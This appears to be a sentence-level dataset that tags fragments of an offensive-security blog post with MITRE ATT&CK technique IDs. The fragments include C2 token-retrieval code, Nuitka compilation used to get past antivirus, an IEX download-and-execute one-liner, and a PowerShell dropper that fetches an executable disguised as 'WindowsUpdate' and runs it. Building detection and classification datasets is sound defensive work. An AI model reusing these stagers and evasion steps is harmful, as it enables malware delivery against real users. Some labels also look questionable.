sentence
stringlengths
1
13.5k
labels
listlengths
0
15
doc_title
stringclasses
84 values
Fernet is a symmetric encryption algorithm and token format used for secure communication and data protection.
[ "T1573.001" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
It is a part of the cryptography library in Python called “cryptography.”
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
It utilizes symmetric key cryptography, where the same secret key is used for both encryption and decryption.
[ "T1573.001" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
It ensures confidentiality and integrity of data by combining encryption with a message authentication code (MAC).
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
The Fernet token format includes the encrypted data and a timestamp to prevent tampering.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
It provides a straightforward and secure way to encrypt and authenticate data, making it suitable for various applications that require secure communication and storage.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
def fernet_decrypt(encrypted_string, password): """Decrypt Ngrok AUTH Token""" try: key = generate_key_from_password(password) cipher = Fernet(key) decrypted_message = cipher.decrypt(encrypted_string) return decrypted_message.decode() except: exit('[-]
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Error: Could not decrypt AUTH Token') def get_auth_token(): """Get AUTH Token from third party service""" try:
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
url = "https://pastebin.com/raw/YYYYYY" r = requests.get(url) if r.status_code == 200: password_for_decrypt = 'P4ssw0rd!'
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
crypted_data = r.text.strip('\n') return fernet_decrypt(crypted_data, password_for_decrypt) elif r.status_code == 404:
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
# Here we could insert a request to a canary token to be notified of the event if the file is not found # - for persistence purpose - exit() # So Long, and Thanks for All the Fish!
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Error: Could not get AUTH Token')
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
The provided code includes two functions: fernet_decrypt and get_auth_token.
[ "T1140" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
The fernet_decrypt function decrypts an encrypted string representing the Ngrok AUTH Token using a harcoded password.
[ "T1140" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
It returns the decrypted message as a decoded string.
[ "T1140" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
The get_auth_token function retrieves the AUTH Token from a third-party service, in this example pastebin.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
It checks the response status code and proceeds accordingly.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
If the response is successful, it use the harcoded password for decryption using the fernet_decrypt function, and returns the decrypted AUTH Token.
[ "T1140" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
If the response status code is 404, we can say attack is concluded and we could insert a potential a canary token for notification purposes .
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
These examples provide ideas and possibilities, showcasing how attackers can leverage High-Level languages like Python to weaponize and elevate the capabilities of their malware.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Check full project of custom MaccaroniC2 server at: https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py Prepararing Cannons: Nuitka in action Python Nuitka is a specialized compiler for Python.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
It’s designed to convert Python code into highly optimized C/C++ code, which is then compiled into native machine code.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
The resulting executable can be distributed and executed without requiring the Python interpreter to be installed on the target system.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
When it comes to compiling malware, Nuitka offers some potential advantages over other Python compilers such as PyInstaller or Py2exe:
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Performance: Nuitka Compiler aims to generate highly optimized C/C++ code, which can result in improved performance compared to interpreted Python code.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This can be advantageous for malware authors who want their malicious code to execute more efficiently and quickly.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Reduced Dependencies: By compiling Python code into standalone executables, Nuitka Compiler eliminates the need for the target system to have a Python interpreter installed.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This can make the malware distribution easier and less reliant on specific Python versions or configurations.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Code Protection:
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Nuitka Compiler employs various optimization techniques and obfuscation mechanisms during the compilation process.
[ "T1027" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This can make the resulting executable more challenging to reverse-engineer and analyze, adding an extra layer of protection for the malware.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Detection Evasion:
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
As Nuitka Compiler generates native machine code, it can potentially evade certain signature-based detection methods used by security tools that primarily focus on detecting interpreted Python scripts.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This may offer a limited advantage in evading detection by some antivirus or security solutions.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Installation and compilation is straightforward:
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
python -m pip install nuitka python
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
-m nuitka --standalone --onefile maccaronic2_server.py Our newly generate PE file is ready to go.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
We can proceed to test this under the presence of Windows Defender, ensuring that all settings, including Cloud Protection and Antitamper modes are enabled.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This will allow us to evaluate the effectiveness of our malware in evading the defensive measures implemented by Windows Defender.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Nice !
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
In the absence of advanced evasion techniques such as binders, packers, and crypters, our ‘malware’ effectively bypasses Windows Defender without relying on complex obfuscation methods.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Let’s try on VirusTotal Not bad !
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
While some vendors were able to spot the malware itself, they seemed to focus on detecting the use of the Nuitka compiler.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Recognizing this pattern, i realized that by making targeted modifications to the Nuitka compiler code, we could potentially achieve 100% FUD (Fully Undetected) obfuscation.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
However, it is crucial to remember that this approach requires a deep understanding of both malware detection techniques employed by antiviruses.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
It also demands continuous research and adaptation as antivirus technologies evolve.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This just opens up new possibilities for evading detection, when using Python to develop malware.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
It should be noted anyway in the world of real malware development, seasoned and skilled adversaries often turn to programming languages such as C and C++ to craft their malicious creations at a lower level.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
While higher-level languages like Python offer ease of use and rapid development, the power and control provided by lower-level languages are paramount in the realm of sophisticated malware: one of the primary reasons for choosing C and C++ is the level of control they provide over system resources and hardware.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
These languages allow direct memory manipulation, access to system APIs, and the ability to write efficient and optimized code.
[ "T1106" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This level of control enables malware developers to create stealthy, complex, and tailored malicious functionalities that can evade detection and exploit vulnerabilities in the targeted environment.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Windows Shortcut (LNK) “Weaponize” is a term that refers to the first phase of the kill chain and it is categorized as the Build Capabilities technique under Resource Development tactic of the MITRE ATT&CK framework.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Building capabilities consist of creating custom payloads, post-compromise and remote access tool development, creating infected removable media, and similar techniques.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
The goal is to create and deliver the first payload to the target according to the environment.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Several tools are available to create an initial payload, such as a self-extracting archive (SFX).
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
A classic technique used mostly by Advanced Persistent Threat (APT) groups is the use of LNK files when delivering malware: shortcut files that point to other files.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
These files have been used as an attack vector as early as 2013.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
For example, the APT group Gamaredon has put LNK files to work, including a campaign that started in August 2022 against organizations in Ukraine.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Attackers are using LNK files to download malware or other malicious files by leveraging legitimate native apps, such as PowerShell.
[ "T1105" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
For instance, this is a PowerShell one-liner that can be used to download and execute a remote .ps1 or .exe file: powershell "IEX(New-Object Net.
[ "T1105" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
WebClient).downloadString('http://IP:PORT/malicious.ps1')" The .ps1 file could be a simple stager download of an .exe file and its execution.
[ "T1105" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This is a clever technique that has been used for years, including in the Stuxnet attacks that were first uncovered in 2010.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
It’s an effective technique because it exploits a fundamental feature of Windows, which is to automatically launch executables using the metadata stored in the LNK file.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
The .ps1 file can also be a complex script that can also achieve persistence with more functionalities.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Some attackers go even further by appending the stager to the LNK file.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
In this case, the PowerShell one-liner will find, decrypt, and execute code appended to the original file.
[ "T1140" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Lastly, this will run a series of “stagers” with the object to delivery the final malware inside the victim’s computer.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
An ounce of practice is worth more than tons of preaching Gandhi After theory, comes practice!
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
One Shot, One Kill – Upload PE File Before start coding the .ps1 stager, we need to upload the PE file build early, using transfersh.com: curl -H "Max-Downloads: 1" -H "Max-Days: 5" --upload-file ./final_server.exe
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
https://transfersh.com/WindowsUpdate Output: https://transfersh.com/XXXXXXXX/WindowsUpdate After one download the file will be deleted and link will returns a 404 error.
[ "T1070.004" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
We can choose also how many days the file be stored.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Powershell Stager / Dropper $down = New-Object System.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Net.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
WebClient $url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' $file =
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $down.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
DownloadFile($url, $file) $exec = New-Object -ComObject shell.application $exec.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
ShellExecute($file)
[ "T1059.003" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This is a simple PowerShell script that downloads a file from a fixed location and executes it.
[ "T1105" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Here’s what each line does: $down = New-Object System.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
WebClient
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This line creates a new WebClient object and assigns it to the variable $down.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
The WebClient class provides common methods for sending data to and receiving data from a resource identified by a URI.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
$url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' This line sets the value of the $url variable to the URL of the file to be downloaded.
[ "T1105" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe')
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This line uses the Combine method of the Path class to combine the temporary folder path (retrieved using the GetTempPath method) with the file name ‘WindowsUpdate.exe’.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
The resulting path is assigned to the $file variable. $down.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
DownloadFile($url, $file)
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This line uses the DownloadFile method of the WebClient object to download the file from the specified URL and save it to the specified local file path.
[ "T1105" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
$exec = New-Object -ComObject shell.application This line creates a new Shell.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Application COM object and assigns it to the $exec variable.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
The Shell.
[ "T1059.003" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Application object provides methods for working with the Windows shell.
[ "T1059.003" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
$exec.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
This line uses the ShellExecute method of the Shell.
[ "T1059.003" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Application object to execute the downloaded file.
[ "T1059.003" ]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
But we want more.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
It’s important to note that we have previously configured the Max-Download parameter to a one-shot only download.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
In addition to the previous modifications, we now aim to keep track of every attempt to execute our stager after the initial compromise: whenever a 404 error is detected, indicating that the file is no longer available on the server, we’ll request a URL using canarytokens.org As said early this serves as a signal to lo...
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
Powershell Stager with trigger $down = New-Object System.
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1
[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $request =
[]
Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1